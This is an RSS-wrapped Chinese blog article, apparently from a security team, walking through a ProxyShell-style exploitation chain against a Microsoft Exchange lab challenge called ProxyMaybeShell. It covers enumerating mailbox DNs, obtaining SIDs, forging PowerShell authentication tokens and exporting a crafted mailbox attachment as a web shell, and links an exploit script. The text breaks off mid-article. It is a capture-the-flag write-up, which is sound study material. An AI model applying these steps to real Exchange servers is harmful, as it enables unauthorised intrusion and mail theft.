<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>7bits安全团队</title>
    <link>https://wechat2rss.xlab.app/feed/d8600777ce9d3efc16ac3cc3885aba6f107bc10b.xml</link>
    <description>7bits安全团队&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (7bits安全团队)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM6yssTHldsbxicHK1qpzWPsiaicdG9wicx226wO85Hk175PVw/0</url>
      <title>7bits安全团队</title>
      <link>https://wechat2rss.xlab.app/feed/d8600777ce9d3efc16ac3cc3885aba6f107bc10b.xml</link>
    </image>
    <item>
      <title>记一次曲折的exchange漏洞利用-ProxyMaybeShell</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500956&amp;idx=1&amp;sn=6576ddce812a5cde50a7b4d32be0a71b</link>
      <description>本文复现了一次较为复杂的exchange漏洞利用，需要攻击者对exchange历史漏洞有较深入的理解才能完成整体的利用。目前配套环境已上线7BitsPlatform，环境名为ProxyMaybeShell，为公开挑战，分值为400分。</description>
      <content:encoded><![CDATA[<p>
原创 <span>7bits安全团队</span> <span>2023-09-15 09:10</span> <span style="display: inline-block;">江苏</span>
</p>

<p>本文复现了一次较为复杂的exchange漏洞利用，需要攻击者对exchange历史漏洞有较深入的理解才能完成整体的利用。目前配套环境已上线7BitsPlatform，环境名为ProxyMaybeShell，为公开挑战，分值为400分。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6bd415c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibag1hVYtNgqaPStIIZR9L9jJmzuiapWlXkusO3v5icRYeCBU5PWe1f1SBhQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>记一次曲折的exchange漏洞利用-ProxyMaybeShell</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">这两年几乎每隔一段时间exchange都会出现一些高危漏洞，这些漏洞基本分为两类，一类是ssrf导致的安全问题，一类是后台的反序列化漏洞。比较出名的包括CVE-2021-34473(ProxyShell)、CVE-2022-41040(ProxyNotShell)等。本文复现了一次较为复杂的exchange漏洞利用，需要攻击者对exchange历史漏洞有较深入的理解才能完成整体的利用。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">目前配套环境已上线xBitsPlatform，环境名为ProxyMaybeShell，为公开挑战，分值为400分。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>前置知识</h1><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">Exchange-SSRF导致的问题</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>host可控的SSRF<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">CVE-2018-8581 </p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">ssrf导致读取任意用户邮件 </p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://evi1cg.me/archives/CVE_2018_8581.html " target="_blank">https://evi1cg.me/archives/CVE_2018_8581.html </a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">ssrf结合ntlmralay直接攻击dc </p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://evi1cg.me/archives/Exchange_Privilege_Elevation.html" target="_blank">https://evi1cg.me/archives/Exchange_Privilege_Elevation.html</a></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>host不可控的SSRF<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">proxylogon:</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"> <a href="https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html " target="_blank">https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html </a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">proxyshell:</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"> <a href="https://blog.orange.tw/2021/08/proxyshell-a-new-attack-surface-on-ms-exchange-part-3.html " target="_blank">https://blog.orange.tw/2021/08/proxyshell-a-new-attack-surface-on-ms-exchange-part-3.html </a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">proxynotshell:</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"> <a href="https://blog.caspersun.club/2022/12/19/proxynotshell/proxynotshell/" target="_blank">https://blog.caspersun.club/2022/12/19/proxynotshell/proxynotshell/</a></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">exchange反序列化漏洞</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">cve-2020-0688 machinekey反序列化: </p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html" target="_blank">https://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">CVE-2021-42321:</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499027&amp;idx=1&amp;sn=b40c9d534a6348811eca5058f88e47ba&amp;chksm=c0e89941f79f105751c585422b668d75876da756112ccc4c1c86b775895f80d0605b1b478cf3&amp;scene=21#wechat_redirect" textvalue="DotNet安全-CVE-2021-42321漏洞复现" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">DotNet安全-CVE-2021-42321漏洞复现</a><br/></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">CVE-2022-23277:</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"> <a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499229&amp;idx=1&amp;sn=089ef2477b4d07749cffcad2d6372479&amp;chksm=c0e8998ff79f10991358d7a00ec49b51369fe5fa383a6fe0ef92c32fb78b555594f0773cee9b&amp;scene=21#wechat_redirect" textvalue="DotNet安全-CVE-2022-23277漏洞复现" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">DotNet安全-CVE-2022-23277漏洞复现</a></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>从proxyshell入手</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">访问目标<a href="https://10.0.102.210，发现跳转到office365,推测可能为exchange与office365混合部署环境" target="_blank">https://10.0.102.210，发现跳转到office365,推测可能为exchange与office365混合部署环境</a></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5564598168870803" style="display: block;margin: 0 auto;max-width: 100%;" data-w="983" src="https://wechat2rss.xlab.app/img-proxy/?k=a41e3b24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagf3yPLtVXb4gt4OGLhMp1wgibfS1ib2Hw3Wl9iabZEtpdb1hJ6wEo2zKjw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">经过探测目标仅开放了autodiscover/ews/powershell/mapi等接口，没有owa/ecp等图形界面。</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.43369565217391304" style="display: block;margin: 0 auto;max-width: 100%;" data-w="920" src="https://wechat2rss.xlab.app/img-proxy/?k=8dfecdd4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagJ8E52n1WLHslIyS7eWU4wPmhx8alRwiaHNH2cYWCtDQFUUpk0VGpxaQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">直接盲打一发proxyshell，成功执行了部分流程。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">获取内网域名版本号等信息</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">通过autodiscover接口的ntlm认证信息获取内网域名等信息：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5839822024471635" style="display: block;margin: 0 auto;max-width: 100%;" data-w="899" src="https://wechat2rss.xlab.app/img-proxy/?k=d6308e5e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagc2Ier4r9Bux1ZsjGO08ib2KaRLCH0Fd95PC8L8d5s4ghgkDDE3wPaKg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">获取Administrator用户的DN</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">通过ssrf调用autodiscover接口，获取administrator用户的dn，发现无法获取：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5422459893048128" style="display: block;margin: 0 auto;max-width: 100%;" data-w="935" src="https://wechat2rss.xlab.app/img-proxy/?k=83d04201&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagx1gF2YvpcmcibhE5HL4mMP63WF9t9MJsuAHAdibdgyYSib9VD0ybVQU4Q%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">这里获取dn是为了获取邮件管理员的sid，但这个环境并不存在Administrator用户。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">获取内置用户的dn</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">安装了exchange的域会包含几个内置账户，可以尝试获取他们的dn：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;"><span style="display: block;background: rgb(30, 30, 30) url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgf2Mn0UMso8RFUuuIYSPVlyvGNupbnhMz6toW8TR25MVjOGJONa22SkTQNicDa4mXjhOC7e705qRe/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat;height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;">BUILTIN_EMAILS = [<br/>    <span style="color: #D69D85;line-height: 26px;">&#39;Administrator&#39;</span>,<br/>    <span style="color: #D69D85;line-height: 26px;">&#39;SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}&#39;</span>,<br/>    <span style="color: #D69D85;line-height: 26px;">&#39;DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}&#39;</span><br/>    <span style="color: #D69D85;line-height: 26px;">&#39;FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042&#39;</span>,<br/>    <span style="color: #D69D85;line-height: 26px;">&#39;Migration.8f3e7716-2011-43e4-96b1-aba62d229136&#39;</span>,<br/>    <span style="color: #D69D85;line-height: 26px;">&#39;SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}&#39;</span>,<br/>    <span style="color: #D69D85;line-height: 26px;">&#39;SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}&#39;</span>,<br/>    <span style="color: #D69D85;line-height: 26px;">&#39;SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}&#39;</span><br/>]<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">但在这个环境中，这种方法也不适用：<img class="rich_pages wxw-img" data-ratio="0.7966666666666666" style="display: block;margin: 0 auto;max-width: 100%;" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=130bd611&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagY1fpmHql6ZZN4icflTFInnBrRWHpFsq8DytT4LqQ7JqtVD0vztzPrkg%2F640%3Fwx_fmt%3Dpng"/></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><a href="https://github.com/dmaasland/proxyshell-poc/blob/main/proxyshell-enumerate.py" target="_blank">https://github.com/dmaasland/proxyshell-poc/blob/main/proxyshell-enumerate.py</a> 提出一种方法，使用ews接口的功能获取到邮箱列表，默认情况下会获得列表：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6126315789473684" style="display: block;margin: 0 auto;max-width: 100%;" data-w="950" src="https://wechat2rss.xlab.app/img-proxy/?k=69015998&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibaglr4a3wncnQlCRSIx2cOJuWlhCUbSC9PR74IKUmLTsqHDR11llibib2gg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">实战情况也可能遇到无法获取的情况，我们可以通过外网搜集到所有的邮箱进行爆破直至得到dn，但实际环境中，很多邮箱位于Office365服务器上，无法通过autodiscover接口获取dn。通过邮箱获取到dn：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.612603305785124" style="display: block;margin: 0 auto;max-width: 100%;" data-w="968" src="https://wechat2rss.xlab.app/img-proxy/?k=adb88694&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964RAf0NgqMwOicaqwrgS1ZOybicPrnHfk5s7fx1CupIAFfquDUEKyB2YLDqiaibaa1XP6dmBJE9tnYHQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">获取sid</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">这个mapi接口从CVE-2018-8581就已经被利用，当有账户dn的时候可以获取到sid：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6265690376569037" style="display: block;margin: 0 auto;max-width: 100%;" data-w="956" src="https://wechat2rss.xlab.app/img-proxy/?k=86e1dbcd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964RAf0NgqMwOicaqwrgS1ZOGMkCicZkjzYYEcOrg4BjlyoJJibr63Cia4GfVEibwxM10zxep1rwdQZTow%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">伪造powershell接口token</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">powershell接口的判断用户身份是依赖于X-Rps-CAT参数，主要通过里面包含的sid判断身份：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.32867883995703545" style="display: block;margin: 0 auto;max-width: 100%;" data-w="931" src="https://wechat2rss.xlab.app/img-proxy/?k=24265e85&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagzjRuvLv89dZKhdpDFAssdicsYiakVov7iae6KQZEvmH4m5gkoptozW7oQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">我们可以构造这个X-Rps-CAT参数：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.59" style="display: block;margin: 0 auto;max-width: 100%;" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=a683766a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagxwRW3tHYLaddUCNI2cSQzkibZfoBKhPzX5Kru11t2HBFRs2PqXo5iauQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">调用powershell执行</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">主要依赖于pypsrp库调用powershell执行New-MailboxExportRequest命令。该命令将某一邮件导出，这份邮件的附件由我们精心构造，其附件中包含我们的c#代码。构造成功的邮件导出到web目录后不影响正常解析。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">同时我们可以通过ews接口给某个邮箱的草稿箱发包含恶意附件的邮件：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6174636174636174" style="display: block;margin: 0 auto;max-width: 100%;" data-w="962" src="https://wechat2rss.xlab.app/img-proxy/?k=8aa8187c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagONYUmgmjLCyLmzdZmHwXvC2EvomyLSToOnDARVXLZRLpDmSHiasRSIA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">导出邮件</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">直接使用exp，会报错，发现无法写入文件：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6632860040567952" style="display: block;margin: 0 auto;max-width: 100%;" data-w="986" src="https://wechat2rss.xlab.app/img-proxy/?k=75873d26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibag7tvD9iadIKichAKbq9iagh0Y89SKUibocAqGKjrvia5v6Za1THictoV0YBxQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">抓包看响应发现没有导出邮件相关的命令，疑似这个账户的权限不够：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.3782483156881617" style="display: block;margin: 0 auto;max-width: 100%;" data-w="1039" src="https://wechat2rss.xlab.app/img-proxy/?k=85647666&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagUSzK6LMOdiaDobfLiaia5wKohiaaozFIFflrCI1TBiajQTia32UicKyvCuzXw%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">遍历sid</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"> </span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">尝试proxyshell-enumerate返回的邮箱，发现都没有成功执行。推测可能是返回的邮箱不全，既然一系列操作都是为了获取一个sid，我们直接对sid进行遍历即可。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">我们通过前面的操作获取到域sid前缀为：S-1-5-21-3005828558-642831567-1133831210，默认administrator的sid是500，之后新增的用户应该在1000以上，我们可以修改一下exp使其支持根据sid调用powershell：<a href="https://github.com/7BitsTeam/ProxyMaybeShell/blob/main/proxyshellwithsid.py" target="_blank">https://github.com/7BitsTeam/ProxyMaybeShell/blob/main/proxyshellwithsid.py</a></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">发现Administrator用户的权限确实很低：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5925542916235781" style="display: block;margin: 0 auto;max-width: 100%;" data-w="967" src="https://wechat2rss.xlab.app/img-proxy/?k=bf2b6e2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794MAKtoeuG5HUkZdibEKFibagaJMSPXDD3DhEC3phAXNHX2CkPiaSAQxXe2SJgpOG03CuNp5d9fghnSA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">我们可以遍历sid直至找到支持New-MailboxExportRequest的账户，但在这个环境一系列尝试后无果。使用getmailbox获取到的所有账户也没有高权限的：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.479746835443038" style="display: block;margin: 0 auto;max-width: 100%;" data-w="790" 